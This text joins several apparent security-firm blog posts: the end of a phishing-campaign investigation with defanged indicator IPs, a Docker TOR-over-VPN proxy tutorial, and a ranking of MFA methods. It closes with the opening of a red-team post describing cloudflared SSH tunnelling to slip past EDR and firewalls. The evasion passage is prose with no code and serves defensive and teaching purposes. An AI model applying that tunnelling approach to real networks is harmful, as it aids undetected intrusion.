IPs for Phishing Shopping Websites

Next, the focus shifted to the IP addresses associated with the phishing shopping websites. The IPs for website gluco6[.]com were part of CLOUDFLARENET (104.20.0.0/15,172.67.0.0/16). While Cloudflare itself is not designed for phishing, malicious actors can sometimes use Cloudflare’s services to mask their phishing attempts by leveraging its features like content delivery networks (CDNs) to make their phishing websites appear more legitimate, thus making it harder to detect and block them.

Figure 16. IPs info fo gluco6 domain.

Figure 17. 104[.]21[.]42[.]150 info from VirusTotal

Figure 18. 172[.]67[.]163[.]10 info from VT

Similarly, the IP of enkielixir[.]com is from LIQUID WEB (AS-32244).

Figure 19. IP info of enkielixir domain

Figure 20. 209[.]59[.]155[.]176 info from Virustotal

Again, we blocked 3 IPs of the phishing shopping websites.

Second Alert: A Repeat Offender

Another alert was triggered by four similar emails in Microsoft Defender. The emails directed users to a new phishing shopping website: metanailcomplex[.]com.

Figure 21. Email from SmartsLife

Figure 22. Human Verification page from SmartsLife

Figure 23. Phishing shopping website metanailcomplex

The IPs for this shopping website were part of CLOUDFLARENET(104.20.0.0/15) same as the IP of domain gluco6[.]com. Many IP addresses from this were labeled as malicious, further confirming the scammer’s reliance on this network.

Figure 24. IP info of domain metanailcomplex

Figure 25. IP 104[.]21[.]96[.]1 info from Virustotal

Figure 26. Malicious IPs in ip range 104[.]20[.]0[.]0/15

Connecting the Dots

The sender domain’s IP (199[.]188[.]100[.]170) was in the same subnet as the IP we found shared same host key(199[.]188[.]100[.]166).

This connection reinforced the belief that the same threat actor was behind both campaigns.

Figure 27. IP info of SmartsLife domain

Figure 28. 199[.]188[.]100[.]170 info from VT

Figure 29. 199[.]188[.]100[.]166 info from VT

Further analysis revealed that most of the 25 scammer IPs belonged to AS-36352, a network with a poor reputation.

An ASN, or Autonomous System Number, is a unique identifier assigned to a group of IP networks (an autonomous system) that share a common routing policy, enabling efficient routing of data across the internet.

This network was associated with multiple malicious activities, making it a key focus of our investigation.

(source: https://www.ip2location.com/as36352, https://www.ipqualityscore.com/asn-details/AS36352/colocrossing, https://www.virustotal.com/gui/search/entity%253Aip%2520as_owner%253AAS-COLOCROSSING?type=ips)

Figure 30. AS-36352 Network Information

Figure 31. IP range of the IP we found early

Then discovering that the ISP for these IPs had a history of malicious activity.

Figure 32. ISP Reputation Analysis

Figure 33. ISP Malicious Activity Report

The final piece investigated was related to the IP 74.114.x.x that did not belong to the risky ASN (AS-36352), showing the ISP as Clnetworks Inc on the AS-32987 ASN.

Figure 34. IP Details for 74.114.x.x

Conclusions

This investigation uncovered a intricate phishing campaign that blended health-related lures with legitimate services like ClickBank and Cloudflare to evade detection. By analysing shared host keys, we uncovered the connections between multiple sender domains, and can confirm that they were operated by the same threat actor, highlighting the importance of threat hunting in identifying hidden infrastructure and prevent future attacks.

Using CLOUDFLARENET for hosting phishing websites shows how hackers are widely using legitimate platforms to carry out attacks. There is plenty of space for such legitimate networks provider to check the legitimacy of the registers (individuals, organisation).

Considering most users cannot recognize malicious emails, websites, documents and phishing events, companies should take a proactive stance on training users on security awareness as well as enhancing email security to tackle phishing campaigns’ commonly used tactics.

Recommendations

To mitigate similar phishing campaigns in the future, organizations should adopt a multi-layered approach that combines technical defenses with user education. Below are some key recommendations – particularly relevant for organisations leveraging the Microsoft Defender stack – to strengthen defences against evolving phishing threats:

• Create Watchlists: Hunting any suspicious emails from IPs that are from AS-36352, AS-32987, and AS-32244s. Monitor for the mentioned malicious CLOUDFARENET IP addresses.
• Enhance Email Security: Organisations using Defender can take advantage of its detection capabilities for most phishing emails, flagging and showing them as a highly likely phishing attempt. Implementing additional advanced phishing detection tools to quarantine suspicious emails automatically can include custom detections, or other proprietary solutions.
• User Awareness: Last but not least, it is important to educate employees about phishing tactics, especially those involving health-related or other common lures associated to basic necessities exploiting the human factor.

Indicator Of Compromise Identified:

Scammer Email IPs:

23[.]95[.]192[.]109

23[.]94[.]153[.]80

23[.]95[.]193[.]70

23[.]95[.]193[.]67

23[.]94[.]149[.]61

23[.]95[.]193[.]69

23[.]94[.]153[.]79

23[.]95[.]193[.]68

199[.]188[.]100[.]166

23[.]95[.]192[.]110

107[.]174[.]123[.]220

107[.]174[.]123[.]223

23[.]95[.]193[.]71

74[.]114[.]150[.]248

74[.]114[.]150[.]244

74[.]114[.]150[.]247

107[.]174[.]123[.]224

74[.]114[.]150[.]251

74[.]114[.]150[.]246

74[.]114[.]150[.]253

74[.]114[.]150[.]254

74[.]114[.]150[.]243

74[.]114[.]150[.]252

23[.]95[.]192[.]111

199[.]188[.]100[.]170

IP addresses of malicious shopping websites:

104[.]21[.]42[.]150

172[.]67[.]163[.]10

209[.]59[.]155[.]176

104[.]21[.]32[.]1

104[.]21[.]112[.]1

104[.]2[.]164[.]1

104[.]21[.]96[.]1

104[.]21[.]48[.]1

104[.]21[.]16[.]1

104[.]21[.]80[.]1

At JUMPSEC we foster a research culture and want to provide people with tools and safe environments necessary to conduct research. As part of my ongoing work in setting up a new research lab I also wanted to investigate TOR environments. By design TOR is a privacy first process and the The Onion Router provides a very good solution out of the box. I won’t elaborate on the foundations of TOR in this article, instead I want to use it as an example about various options and pitfalls with routing in docker environments. Let’s look at TOR from a business implementation requirement:

• If devices are domain joined, adding another Intune package requires more maintenance.
• TOR usage in our company should be monitored, for various reasons I am not going to elaborate.
• Hide TOR activity from your ISP (without using obfuscated bridges).

I wanted to create a central TOR service that can be used by any application via an HTTP forward proxy. This can be used by custom scripts or any web browsers. Unfortunately, the latter comes with some caveats, such as human error and security related issues. Though, the interesting issue is technical and it’s about docker networking. Despite ever ongoing conversations around TOR & VPNs, we will route TOR through a paid VPN tunnel (https://www.reddit.com/r/TOR/wiki/index/#wikishouldiuseavpnwithtor.3Ftorovervpn.2Corvpnovertor.3F).

Let’s start building our proxy system based on a docker-compose file that will accept traffic at an HAProxy container and route everything to a TOR container, which itself goes out to the internet via a VPN container.

There are three services:

• vpn – a container to connect to a remote server and use that as an exit node
• tor – the actual TOR connection
• haproxy – our forward proxy for the users

The images we are using are:

• https://hub.docker.com/r/thrnz/docker-wireguard-pia
• https://hub.docker.com/r/dperson/torproxy
• https://hub.docker.com/_/haproxy

For our VPN connection we are using https://www.privateinternetaccess.com/.

Commonly, when configuring a gateway container in docker compose people tend to use network_mode for other containers to share the same network interface and make routing plug and play.

It is possible to do this with our PIA VPN container, however, we are running into a challenge here. If we configured our TOR container to use network_mode: service:vpn the TOR container itself would lose its IP address and can no longer be “seen” by our HAProxy container. Obviously this is a problem, as we cannot configure our backend server in HAProxy without a host.

Let’s start with the simplest container setup, which is our forward proxy.

HAProxy

Lets start by looking at the actual config file for the service. Below are the contents of the haproxy.cfgfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
global

    log stdout format raw local0

    maxconn 4096

defaults

    mode http

    log global

    option httplog

    timeout connect 5000

    timeout client  50000

    timeout server  50000

frontend forward_proxy

    bind *:3128

    mode http

    default_backend forward_tor 

backend forward_tor

    mode http

    server tor tor:8118

The setup is simple, we create a forward proxy on port 3128 that routes incoming HTTP traffic to the backend forward_tor, which points at the tor container on port 8118. We can easily mount the configuration via volumes and just set ports to ensure that the correct interface is mapped from the outside world.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
  haproxy:

    image: haproxy:3.1-alpine

    volumes:

      - "./haproxy/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro"

    ports:

      - ":3128:3128"

    depends_on:

      - tor

    restart: unless-stopped

Before jumping into the networking configuration, let’s look at the basic setup of the other containers.

TOR

The TOR container image we are using utilises Privoxy which automatically forwards traffic to the socks5 TOR proxy. The privacy first HTTP & HTTPS proxy is exposed on port 8118.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  tor:

    image: dperson/torproxy

    restart: unless-stopped

    environment:

      - EXITNODE=0

    cap_add:

      - NET_ADMIN

    expose:

      - 8118

    depends_on:

      - vpn

Even though by default the dperson/torproxy is not configured as an exit node, it does no harm to explicitly set the environment variable for it. Of course, we only need to start the tor container if the vpn has started.

What is different to what you see in the examples of the official docker hub page, is that we added the NET_ADMIN capability. This is necessary to make some changes to the networking inside the container. Without it, even as root we cannot change routing behaviour.

VPN

As for the VPN container we can work based on the docker-compose example that is mentioned on docker hub.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
vpn:

    image: thrnz/docker-wireguard-pia

    volumes:

      - pia-vpn:/pia

      - pia-vpn-shared:/pia-shared

      - ./vpn/post-up.sh:/pia/scripts/post-up.sh

    cap_add:

      - NET_ADMIN

    devices:

      - /dev/net/tun:/dev/net/tun

    env_file:

      - .env

    environment:

      - LOC=swiss

      - USER=${PIA_USERNAME}

      - PASS=${PIA_PASSWORD}

      - LOCAL_NETWORK=${LOCAL_NETWORK}

      - PORT_FORWARDING=1

    sysctls:

      - net.ipv4.conf.all.src_valid_mark=1

      - net.ipv6.conf.default.disable_ipv6=1

      - net.ipv6.conf.all.disable_ipv6=1

      - net.ipv6.conf.lo.disable_ipv6=1   

    healthcheck:

      test: ["CMD", "ping", "-c", "1", "8.8.8.8"]

      interval: 240s

      timeout: 5s

      retries: 3

      start_period: 5s

However, you might have spotted, that we are adding a post-up.sh in the volume mounting. This is necessary to add a few more iptables rules to the container.  Let’s start talking about the actual networking challenges here.

Networking

Given that we do not want to use network_mode in our containers but need to have IP addresses associated with our containers, we are left with using a custom network that we can attach to each container.

We could just define a network such as

1
2
3
4
5
networks:

  vpn-net:

    driver: bridge

However, that would lead us to two things:

• The next available network is used, i.e. 172.19.0.0/24 or 172.20.0.0/24
• The default gateway is configured at 172.XX.0.1 automatically
• Our containers get a random IP address associated by the docker DHCP

This is slightly challenging as we will see in a bit. What we want to achieve is that all network traffic from our vpn-net must go through the vpn container.

However, by default the containers will have the 172.XX.0.1 gateway configured, whereas the vpn container most likely will have the IP address 172.XX.0.2.

First of all, we should know which IP range is used. For that we can look into the ipam configuration of the networks. This is a bit hacky and not in the typical sense of how you should use docker, but it is a necessary evil in this case.

1
2
3
4
5
6
7
8
9
10
11
networks:

  vpn-net:

    driver: bridge

    ipam:

      config:

        - subnet: 172.21.0.0/24

By setting the ipam we can now set the actual address space of the vpn-net subnet. To verify that this was applied correctly we can the following command on the host system:

1
2
3
4
5
6
7
8
9
10
11
# first of all get the networks on our system
docker network ls

# similiar output
NETWORK ID     NAME                    DRIVER    SCOPE

d2b447ed5154   bridge                  bridge    local
d0af048c2f55   host                    host      local
fe7503bf5f54   none                    null      local
c8bdd0108a0a   XXXX                    bridge    local
2d1d57de3b79   XXXX_vpn-net            bridge    local

and inspect the actual network we are working on:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 docker network inspect 2d1d57de3b79

 ...

  "IPAM": {

            "Driver": "default",

            "Options": null,

            "Config": [

                {

                    "Subnet": "172.21.0.0/24"

                }

            ]

        },

...

Next, we can specify the actual IP addresses at the vpn container by adding the following:

1
2
3
4
5
    networks:

      vpn-net:

        ipv4_address: 172.21.0.254

This tells the vpn container it has the fixed IP address of 172.21.0.254, which is required, so we can configure our tor containers routes to set it as a gateway. To do that we overwrite the startup command in the tor container with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    command: >

      sh -c "

        echo 'Removing default route via 172.21.0.1...';

        ip route del default via 172.21.0.1 dev eth0;

        echo 'Adding default route via 172.21.0.254...';

        ip route add default via 172.21.0.254 dev eth0;

        echo 'Starting torproxy...';

        exec /usr/bin/torproxy.sh

      "

When we run docker compose up you should see the echo statements in the log. Mind you, the ip route del|add commands will only work with the NET_ADMIN capability!

The commands above basically remove the default docker gateway, which we established is on 172.21.0.1 and sets our vpn gateway, which we know is on 172.21.0.254.

Unfortunately, this is not enough to get everything working. Most likely you would time out with requests, as the tor container cannot establish a connection at this stage. So let’s dive into the post-up.sh file for the vpn container. In here we need to set a few more iptables rules.

1
2
3
4
5
6
7
8
9
#!/usr/bin/env bash
set -euo pipefail
sleep 5
iptables -t nat -A POSTROUTING -s "172.21.0.0/16" -j MASQUERADE
iptables -I FORWARD 1 -s 172.21.0.0/16 -o wg0 -j ACCEPT
iptables -I FORWARD 1 -d 172.21.0.0/16 -i wg0 -j ACCEPT
iptables -I FORWARD 1 -i wg0 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -I FORWARD 1 -o wg0 -j ACCEPT
echo "Done with iptables changes"

BONUS TIP: if you are on Windows and use git to manage all of this run: git update-index --chmod=+x vpn/post-up.sh to ensure that the script is executable. Otherwise, it won’t work!

During my testing, I had a race condition with the execution of the post-up.sh file. The idea of the author was to enable users to adjust iptables rules after the WireGuard connection has been set up. However, the script was often executed before that was done. Due to the kill switch in the container, the iptables rules applied with my script were reverted. Hence, I added a sleep 5 at the top of the script. It’s a quick and dirty solution…but it gets the job done! Lets go over each of these rules:

1
iptables -t nat -A POSTROUTING -s "172.21.0.0/16" -j MASQUERADE

With this we add to the NAT table of iptables, that all traffic from 172.21.0.0/16 is traversed after the kernel determines where the packet will go out (after routing). MASQUERADE means, that the network IP addresses will look like the vpn container IP address (172.21.0.254).

1
2
iptables -I FORWARD 1 -s 172.21.0.0/16 -o wg0 -j ACCEPT
iptables -I FORWARD 1 -d 172.21.0.0/16 -i wg0 -j ACCEPT

Effectively these two rules ensure that traffic from 172.21.0.0/16 can go out over the WireGuard connection, and once there is traffic coming back it can be forwarded back to the 172.21.0.0/16 network.

You might think that this is enough, however, there are some issues around the FORWARD rules. As by default they are DROPPED. Let’s add two more rules, the first one:

1
iptables -I FORWARD 1 -i wg0 -m state --state ESTABLISHED,RELATED -j ACCEPT

This rule allows incoming packets on the wg0 interface that are part of or related to an already established connection. This is essential for ensuring that reply traffic for outbound connections is permitted.

In addition, we need our last rule:

1
iptables -I FORWARD 1 -o wg0 -j ACCEPT

This rule allows all packets that are leaving through the wg0 interface. It doesn’t perform any state checking, so it applies to both new outbound connections and any other traffic leaving via wg0.

Together, these rules help maintain proper stateful firewall behaviour for a WireGuard interface, ensuring that traffic can flow correctly for both new outbound connections and their corresponding inbound replies.

Before giving you some troubleshooting guides and considerations, let’s put the final docker-compose.yml file together:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
services:

  vpn:

    image: thrnz/docker-wireguard-pia

    volumes:

      - pia-vpn:/pia

      - pia-vpn-shared:/pia-shared

      - ./vpn/post-up.sh:/pia/scripts/post-up.sh

    cap_add:

      - NET_ADMIN

    devices:

      - /dev/net/tun:/dev/net/tun

    env_file:

      - .env

    environment:

      - LOC=swiss

      - USER=${PIA_USERNAME}

      - PASS=${PIA_PASSWORD}

      - LOCAL_NETWORK=${LOCAL_NETWORK}

      - PORT_FORWARDING=1

    sysctls:

      - net.ipv4.conf.all.src_valid_mark=1

      - net.ipv6.conf.default.disable_ipv6=1

      - net.ipv6.conf.all.disable_ipv6=1

      - net.ipv6.conf.lo.disable_ipv6=1    

    healthcheck:

      test: ["CMD", "ping", "-c", "1", "8.8.8.8"]

      interval: 240s

      timeout: 5s

      retries: 3

      start_period: 5s

    networks:

      vpn-net:

        ipv4_address: 172.21.0.254

  tor:

    image: dperson/torproxy

    restart: unless-stopped

    environment:

      - EXITNODE=0

    cap_add:

      - NET_ADMIN

    expose:

      - 8118

    depends_on:

      - vpn

    networks:

      vpn-net:

        ipv4_address: 172.21.0.10

    command: >

      sh -c "

        echo 'Removing default route via 172.21.0.1...';

        ip route del default via 172.21.0.1 dev eth0;

        echo 'Adding default route via 172.21.0.254...';

        ip route add default via 172.21.0.254 dev eth0;

        echo 'Starting torproxy...';

        exec /usr/bin/torproxy.sh

      "

  haproxy:

    image: haproxy:3.1-alpine

    volumes:

      - "./haproxy/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro"

    ports:

      - ":3128:3128"

    depends_on:

      - tor

    restart: unless-stopped

    networks:

      vpn-net:

        ipv4_address: 172.21.0.11

volumes:

  pia-vpn:

  pia-vpn-shared:

networks:

  vpn-net:

    driver: bridge

    ipam:

      config:

        - subnet: 172.21.0.0/24

Troubleshooting and Debugging

Ensure the TOR container is routing traffic through the VPN container:

1
2
3
4
5
docker exec -it tor-container ip route

# Expect to see the vpn ip address we specified in the docker compose file
default via 172.21.0.254 dev eth0
172.21.0.0/16 dev eth0 scope link  src 172.21.0.4

Verify that the VPN container has access to the internet via the default docker gateway:

1
2
3
4
5
docker exec -it vpn-container ip route

# Expect to see the vpn ip address we specified in the docker compose file
default via 172.21.0.1 dev eth0
172.21.0.0/16 dev eth0 scope link  src 172.21.0.254

Check that the IP address of the vpn container is actually coming from the PIA remote server:

1
2
3
4
docker exec -it vpn-container curl ifconfig.me/ip

# Should be different to your host ip (simply check with the same curl command but not from a docker container)
12.34.56.78

Ensure that your FORWARD rules are loaded correctly:

1
2
3
4
5
6
7
8
9
10
11
docker exec -it vpn-container iptables -L FORWARD -n -v

# Similar to below:

Chain FORWARD (policy DROP)

 pkts bytes target     prot opt in   out   source         destination

   42  3333 ACCEPT     all  --  *    wg0   172.21.0.0/16 0.0.0.0/0

   12   900 ACCEPT     all  --  wg0  *     0.0.0.0/0     172.21.0.0/16

Go into the vpn container and install tcpdump to observe traffic:

1
2
3
4
5
6
7
8
9
10
docker exec -it vpn-container bash
$ apk add tcpdump

...

# observe wireguard interface
tcpdump -ni wg0

# check for traffic from a specific host
tcpdump -ni eth0 host 172.21.0.XX

While running tcpdump on the vpn container, run simple curl commands from the tor container. If you see ip: RTNETLINK answers: Operation not permitted you forgot to set the NET_ADMIN capabilities. You would see that with any ip route add|del commands.

If you are using different TOR images, you must check if there is a transparent proxy running:

It might be the case, that all network traffic is forced to go out via TOR and not actually forwarded to your default gateway. How is this relevant? If you run the curl ifconfig.me/ip commands, they might get out via TOR, instead of the default gateway. In our case, we would see the normal gateway route and therefore get the same IP address as the vpn container would show with the same command.

Inspect your TOR container scripts:

In the Dockerfile GithubLink we can see that there are plenty of privoxy rules around forwarding docker networks:

1
2
3
4
5
6
7
8
sed -i '/^forward 172\.16\.\*\.\*\//a forward 172.17.*.*/ .' $file && \
sed -i '/^forward 172\.17\.\*\.\*\//a forward 172.18.*.*/ .' $file && \
sed -i '/^forward 172\.18\.\*\.\*\//a forward 172.19.*.*/ .' $file && \
sed -i '/^forward 172\.19\.\*\.\*\//a forward 172.20.*.*/ .' $file && \
sed -i '/^forward 172\.20\.\*\.\*\//a forward 172.21.*.*/ .' $file && \
...
sed -i '/^forward 172\.29\.\*\.\*\//a forward 172.30.*.*/ .' $file && \
sed -i '/^forward 172\.30\.\*\.\*\//a forward 172.31.*.*/ .' $file && \

Final Thoughts and Notes

This project is certainly not meant to “just use as-is”. Whether this approach is safe for privacy concerned users is another topic. The TOR project itself gives good guidelines around bridges and safety. TAILS and the normal TOR browser will protect users in a much better way than using a “normal” web browser. This article is not about protection.

Instead, I hope you learned about networking in docker and how to troubleshoot within docker containers. Even though some of the things we did are not in direct line with the docker philosophy (setting IP addresses on containers, IPAM settings), we can see that more complex tasks like these are straightforward to implement.

In an era of relentless cyber threats, multi-factor authentication (MFA) has become a cornerstone of modern security practices, adding an extra layer of protection beyond traditional passwords. It’s a widely used defence that strengthens account security and helps prevent unauthorised access. But while MFA is a crucial security measure, it’s not a silver bullet. Cybercriminals are constantly adapting, finding new ways to bypass or manipulate different authentication methods. Whether it’s phishing, machine-in-the-middle attacks, MFA fatigue, or social engineering, no authentication mechanism is completely immune.

In this blog post, I’ll explore the various methods used to protect user credentials and rank the most common MFA mechanisms based on how vulnerable they are to the types of attacks we’re seeing in today’s threat landscape. Multi-Factor Authentication (MFA) is all about making it harder for attackers to break in by requiring users to verify their identity using multiple factors before accessing an account or system. These factors generally fall into three categories:

• Something you know (e.g., a password or PIN)
• Something you have (e.g., a smartphone, security key, or token)
• Something you are (e.g., a fingerprint or facial recognition)

MFA strengthens security by adding layers beyond just passwords, reducing the risk of account takeovers. But not all MFA methods are created equal! Some are far more resistant to phishing, social engineering, and technical exploits than others.

At the same time, password-less authentication is becoming more popular as a way to move beyond passwords altogether. Instead of relying on something you have to remember, it uses factors like biometrics (i.e. fingerprints, facial features, etc.) or device-based authentication, making logins both more secure and more user-friendly. While this approach has clear advantages, it also comes with challenges in adoption and implementation.

Drawing from my experience, I’ll be ranking these methods by how secure they are, how easy they are to use, and how challenging it can be to implement them.

How I Evaluated These MFA Methods

Cost is an essential factor when evaluating MFA solutions. Some methods, such as SMS-based authentication, may seem inexpensive but can lead to high recurring costs. Others, like hardware security keys, require upfront investments and logistical considerations. Throughout this ranking, I factor in the costs associated with implementation, user adoption, and long-term maintenance.

To fairly compare different MFA methods, I evaluated them based on three main factors:

• Security: How resistant is the method to common attacks such as phishing, SIM swapping, MFA fatigue, and adversary-in-the-middle (AiTM) attacks?
• Usability: How easy is it for end users to adopt and use the method effectively? This considers user experience, commonality among MFA adopters, and interaction simplicity.
• Implementation: How complex is it for organisations to implement this method? This includes factors such as deployment effort, compatibility with existing systems, and cost considerations.

Each factor is ranked on a scale from 1 to 10, with higher scores indicating stronger security, better usability, or easier implementation. Some methods may offer excellent security but can be more difficult to implement or less user-friendly.

Common MFA Attack Methods

Despite MFA’s advantages, threat actors continue to develop techniques to bypass it. Some of the most notable attack methods include:

• Phishing Attackers trick users into entering their credentials and MFA codes into malicious websites (e.g., AiTM attacks using tools like Modlishka, Evilginx, and Muraena). [1]
• SIM Swapping Criminals exploit flaws in telecommunications protocols to hijack SMS-based MFA codes. The FBI has reported significant increases in SIM swapping attacks, with millions in losses.[2]
• MFA Fatigue: Attackers flood users with push notifications, as seen in the 2022 Uber breach. [3]
• SS7 Exploits: Flaws in the telephone system protocols allow attackers to intercept OTPs and hijack calls.[4]

Let’s now dive in as I rank MFA methods based on my experience and observations in the field.

SMS and Voice-Based MFA (Least Secure, Highly Vulnerable to SIM Swapping & SS7 Exploits)

This is probably the most well-known and widely used MFA method. When you log into a website or service, it sends a one-time passcode (OTP) to your phone via SMS or a voice call. The idea is that only the real account owner should have access to their registered phone number, making it a second layer of authentication. However, as I’ve seen in many real-world attacks, this method has significant weaknesses due to SIM swapping and telecom vulnerabilities.

• Cost Considerations: Recurring costs for sending SMS messages can add up, especially for large organisations. Additionally, mobile carrier dependencies can introduce extra fees or service reliability concerns.
• Security: 3/10 (Highly vulnerable to phishing, SIM swapping, and SS7 attacks)
• Usability: 8/10 (Simple for users, widely adopted)
• Implementation: 9/10 (Easy to deploy but incurs SMS costs)

Case studies have shown attackers using SIM swapping and SS7 exploits to intercept OTPs. [2],[4]

Given these risks, SMS MFA is the least secure option and shouldn’t be used for organisations, or individuals of interest who may be targeted by threat actors, or to access critical systems.

App-Based OTP (Better but Still Phishable)

Instead of relying on SMS, app-based OTPs generate codes through applications like the Google or Microsoft Authenticator Apps, Authy, Okta, or other applications available to users who want to take advantage of this added layer of security. When you attempt to log in, the app can be accessed to retrieve a time-sensitive code (or One-Time Password) from your device to finalise the authentication process. This removes dependency on mobile networks, which is a big advantage, but as observed in the wild, through phishing attacks users can still be tricked into entering such codes into fake login pages.

• Cost Considerations: Generally free for users but requires administrative overhead to ensure proper deployment. Organisations may need to invest in user training to prevent phishing risks.
• Security: 6/10 (Resistant to SIM swapping but vulnerable to phishing and AiTM attacks)
• Usability: 8/10 (Requires manual entry, increasing user friction)
• Implementation: 8/10 (Easier than hardware keys but still needs user training)

Attackers have successfully used AiTM techniques to bypass OTPs [5].

Security researchers have documented real-world cases where Evilginx and similar frameworks were used to steal cookies from authenticated sessions, bypassing MFA without needing to steal OTPs.

Push Notifications (Susceptible to MFA Fatigue Attacks)

Push notifications work differently from OTPs. Instead of manually entering a code, you receive a notification on your phone asking if you’re trying to log in. You simply tap ‘Approve’ or ‘Deny.’ This makes authentication experience much smoother for users. However, attackers have learned to exploit this through MFA fatigue attacks, where users are bombarded with requests until they approve one by mistake.

• Cost Considerations: Low implementation costs but may require additional monitoring and security awareness training to prevent MFA fatigue attacks.
• Security: 7/10 (Stronger than OTPs but vulnerable to MFA fatigue attacks)
• Usability: 9/10 (Simplifies authentication)
• Implementation: 7/10 (Easy to deploy, but requires monitoring)

The 2022 Uber breach exemplified how MFA fatigue attacks can lead to compromise [6].

This attack vector is increasingly leveraged by cybercriminals. Identity providers have tried to tackle this issue by introducing number matching, where a number is displayed to the user trying to authenticate, expecting the user to enter the same number when approving the authentication request received on their phone.

Hardware Security Keys (Strong, Phishing-Resistant)

Hardware security keys, such as YubiKey and Google Titan, provide one of the strongest forms of MFA. These small physical devices must be plugged into or tapped against a device to approve authentication. They use cryptographic signatures that cannot be phished. I personally find them to be a fantastic option for security-conscious individuals and organisations, but they do require carrying an extra device and managing lost keys.

• Cost Considerations: High upfront cost for purchasing hardware tokens (e.g., YubiKeys), along with logistical challenges related to distribution and lost key replacements.
• Security: 9/10 (Resistant to phishing and AiTM attacks)
• Usability: 7/10 (Requires carrying a physical device, potential lockouts)
• Implementation: 6/10 (Higher cost and logistical challenges)

Hardware keys such as are among the most secure MFA solutions [7].

However, distribution and lost key management remain challenges.

Passkeys & FIDO2 (Best Option, Eliminates Passwords and Phishing Risks)

Passkeys and FIDO2/WebAuthn take authentication a step further by eliminating passwords altogether. These methods use cryptographic keys that are stored securely on your device and verified using biometrics or a PIN. In my opinion, this is where authentication is headed—no passwords to steal and no OTPs to phish. However, adoption is still growing, and not every service supports it yet.

• Cost Considerations: Requires infrastructure updates but eliminates the need for passwords, reducing long-term costs associated with password resets and credential management.
• Security: 10/10 (Eliminates phishing risks by design)
• Usability: 9/10 (Simplifies authentication, biometric support)
• Implementation: 8/10 (Requires infrastructure changes, but worth the investment)

Passkeys and FIDO2 authentication represent the future [8].

Given their phishing-resistant nature, I ranked them highest in security, though adoption requires investment.

Best Practices for Implementing Secure MFA

A number of best practices and recommendations have been outlined by frameworks such as CIS benchmarks, cloud providers, and SaaS (Software-as-a-Service) vendors.

While the most appropriate MFA mechanism depends on an organisation’s specific needs, at a high level, I can offer the following advice:

• Monitor authentication logs: Identify risky sign-ins and detect anomalous authentication attempts.
• Enforce phishing-resistant MFA: Prioritise Pass-keys & FIDO2 security keys or, at least, biometric-based authentication.
• Implement Adaptive Authentication: Evaluate risk factors such as user behaviour, device compliance, and location checks.
• Deploy Conditional Access Policies (CAPs) for Microsoft Environments: Particularly useful for Microsoft-centric organisations, but not always applicable to all setups.

To conclude, I have explored various MFA methods and how they stack up against real-world attacks. There is no perfect solution, but the shift towards password-less authentication, adaptive security controls, and phishing-resistant methods is clear. Security is an ongoing challenge, and no control is ever enough to completely eliminate risk. Organisations must continuously evolve their security strategies and follow a proactive approach considering the latest threat intelligence and attack trends.

Ultimately, the best MFA method is the one that aligns with an organisation’s security posture, usability needs, and implementation capabilities. As cyber threats grow more sophisticated, adopting robust MFA solutions is not just a best practice—it’s a necessity.

References

• [1] Verizon Data Breach Investigations Report, 2023 – https://www.verizon.com/business/en-gb/resources/reports/dbir/2023/summary-of-findings/#:~:text=83%25%20of%20breaches%20involved%20External,phishing%20and%20exploitation%20of%20vulnerabilities.
• ]2] FBI Internet Crime Report, 2022 – https://www.ic3.gov/PSA/2022/PSA220208
• [3] Microsoft Tech Community, 2022 – https://techcommunity.microsoft.com/blog/microsoft-entra-blog/defend-your-users-from-mfa-fatigue-attacks/2365677
• [4] FBI and CISA Warn Against SMS OTP Authentication Amidst Escalating Cyber Security Risks, 2025 – https://www.keypasco.com/en/2025/02/04/fbi-and-cisa-warn-against-sms-otp-authentication-amidst-escalating-cybersecurity-risks/
• [5] Phishing 2.0 – how phishing toolkits are evolving with AitM, 2024 – https://pushsecurity.com/blog/phishing-2-0-how-phishing-toolkits-are-evolving-with-aitm/
• [6] What Caused the Uber Data Breach in 2022? –https://www.upguard.com/blog/what-caused-the-uber-data-breach#:~:text=the%20Uber%20app.-,What%20Data%20Did%20the%20Hacker%20Access?,with%20cybersecurity%20researcher%20Corben%20Leo
• [7] What Is a Hardware Security Key and How Does It Work?, 2023 – https://www.keepersecurity.com/blog/2023/05/09/what-is-a-hardware-security-key-and-how-does-it-work/
• [8] FIDO Alliance Whitepaper, 2023 – https://fidoalliance.org/passkeys/

Webinar recording – original session on 31 Jan 2025

This post will cover what I presented and how to use these binaries in detail. If you would also like a copy of the slides they can be found here.

My talk was mainly focused on binaries that allow for the passing of the following 5 scenarios:

• Proxy my Kali tools, and tunnel traffic into an environment
• Bypass EDR (e.g. CrowdStrike), on dropping to disk and on execution
• Firewall friendly
• A good alternative to network tunnelling tools (e.g. Ligolo)
• Doesn’t require a pre-installed SSH client

The first solution is pictured below where the ‘cloudflared’ binary from, you guessed it, Cloudflare can be used in conjunction with the SSH ‘ProxyCommand’ to allow ‘cloudflared’ to transport the SSH data out on port 443, instead of port 22, and also encapsulates the data as HTTPS rather than SSH.

This data then hits a Cloudflare hostname under our control, namely ssh.redteaming.org which is linked to a tunnel running on our Cloud VM. This data is then redirected into our SSH server running on our Cloud VM to complete the tunnel.

